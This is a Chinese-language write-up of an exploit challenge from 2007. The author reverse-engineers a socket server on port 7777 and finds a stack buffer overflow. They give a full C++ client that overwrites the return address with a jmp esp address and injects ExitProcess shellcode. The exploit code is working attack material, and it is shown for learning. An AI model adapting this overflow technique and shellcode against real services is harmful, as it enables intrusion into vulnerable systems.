去年看《windows核心编程》的时候,书中提到过利用(栈)溢出漏洞攻击系统,当时就在思考是如何利用(栈)溢出漏洞,因为我自己实在是想不通,既然一个程序或OS都溢出了,那岂不肯定就崩溃了,程序或OS都崩溃了,那攻击者利用什么?

   昨天遵循着看雪failwest的几个帖子,手把手的学习了一下如何利用栈溢出植入自己的shellcode,手一直痒痒想找点什么 exploit,正好看到07年看雪的一个exploit竞赛题目,花费了大概三个小时,我也成功解决了这道题目。下面是我的解题过程。

  先拿到题目A,名字是exploit_me_A.exe,题目说明这是个服务器,我第一感觉这应该跟socket有关,果不其然,我用ollydbg加载之后,搜索一下字符串,没想到居然就寥寥无几的几个字符串,一看就知道是什么了



socket编程我也研究过好些天,看到这几个字符串,我马上明白这是个什么服务器,跳回汇编代码,大概浏览一下代码,发现这个服务器的创建过程就是一个socket服务器创建过程(之前我可是花费好久时间研究过服务器与客户端socket编程)

程序的大致流程如下:

1. 创建socket服务器,端口号是7777(见汇编代码中的ntohs中的参数0x1e61),等待客户端连接

2. 连接成功后,等待接收数据,每次接收512字节

3. 接收成功后会将接收的字符串copy到一块内存当中(这段是我经过n次挫折才搞明白的),然后打印出来。

  第三步我花了一段时间才发现的,先说一下我解题的整个过程,其实也就是整个思考过程。

  在我大致的弄明白程序的流程之后(1~2步骤,这时候还没发现第三步),我马上自己写了一个客户端程序,并猜测我可以向服务器发送一个大于512字节的字符串,然后让这个服务器接收这个字符串时栈溢出。我精心的编写了一个大小为522字节的字符串,并发送给服务器,发现服务器崩溃了,但没有执行我shellcode(我的shellcode作用是直接退出程序)。经过多次调试,我发现我这个想法是有错误的,因为recv函数压根就不会出现问题,无论我发送多大的字符串,recv函数就只接收512个,所以我写的522字节的字符串,服务器压根就接收不到大于512之后的那几个最关键的数据!现在回想起来,自己的这个想法是多么的愚蠢!

  但有一个是肯定的,服务器不能接收512个字符串,因为我发送过去之后,服务器cash了! 一定有什么地方出现的字符串拷贝的操作。我重新观察了一下recv附近的代码,发现recv成功之后只调用了一个函数,然后就直接返回,见下图:



调试跟踪发现,传入的参数就是刚刚接收到的字符串地址。崩溃是发生在这个函数调用完成之后,那么可以猜测这里面肯定有字符串拷贝操作。F7跟进查看,下面是exploit_.00401000函数的部分代码:



注意红色框框的地方REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI],这个操作是将地址为ESI的数据刷到地址为EDI处,而上面有几条代码会算出ESI数据的大小(存放在EAX)。这应该就是服务器程序的漏洞。我去研究一下EDI所存放的地址,那么如果我的字符串长度够大,那么肯定会淹没到当00401000要返回时要执行的代码指令(忘记叫什么了)。再继续寻找EDI的最大长度,让服务器程序正常运行到RETN,看一下当前堆栈信息,指向了0012fbb8

算一下EDI的长度是0012fbb8 - 0012faf0 = c8,也就是大小为200个字节。

   那么我只需要构建一个大于200字节的字符串,并在201处写入jmp esp的机器指令就可以植入我自己的shellcode了!下面是我写的客户端程序,其中comd字符串是用来攻击服务器的,注意在comd[200]处开始是jmp esp(我的计算机上的地址),我的shellcode是用来直接退出服务器的,调用了系统的ExitProcess。

#include <iostream>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")

using namespace std;

int main()
{
 WSADATA wsa;
 WSAStartup(MAKEWORD(2,2),&wsa);

 SOCKET sockClient=socket(AF_INET,SOCK_STREAM,0);

 SOCKADDR_IN addrSrv;
 addrSrv.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
 addrSrv.sin_family=AF_INET;
 addrSrv.sin_port=htons(7777);

 if(SOCKET_ERROR==connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)))
 {
  cout << "施主!服务器还没建立呢!- -!" << endl;
  cout << "30分之一的一炷香时间后开始重连" << endl;
  for(int i=0; i<30; i++)
  {
   Sleep(1000);
   cout << ">";
  }
  cout << endl;
  return main();
 }
 cout << "connect to 127.0.0.1" << endl;
 
 char comd[212];
 memset(comd, '\x90', 211);
 char c_comd[123];
 comd[200] = '\x79';
 comd[201] = '\x5b';
 comd[202] = '\xe3';
 comd[203] = '\x77';

 //53
 //b8 12cb817c
 //ffd0
 comd[204] = '\x53';
 comd[205] = '\xb8';
 comd[206] = '\x12';
 comd[207] = '\xcb';
 comd[208] = '\x81';
 comd[209] = '\x7c';
 comd[210] = '\xff';
 comd[211] = '\xd0';
 
 while(1)
 {
  memset(c_comd, 0, 123);
  cin >> c_comd;
  if(strcmp(c_comd, "exit")==0)
   break;
  if (strcmp(c_comd,"a")==0)
   send(sockClient, comd, 212, 0); 
  else
   send(sockClient, c_comd, 123, 0); 
 }
 WSACleanup();
 return 0;
}

题目A的程序:
exploit_me_A.zip
 总结一下:

    这道题目能这么快做出来(大概用了三个小时),我自己都有点吃惊,其实很多偶然的因素,刚好自己研究过socket,刚好见过用汇编指令拷贝数据。可惜这道挑战赛题目是07年的- -,如果是今年的,那我......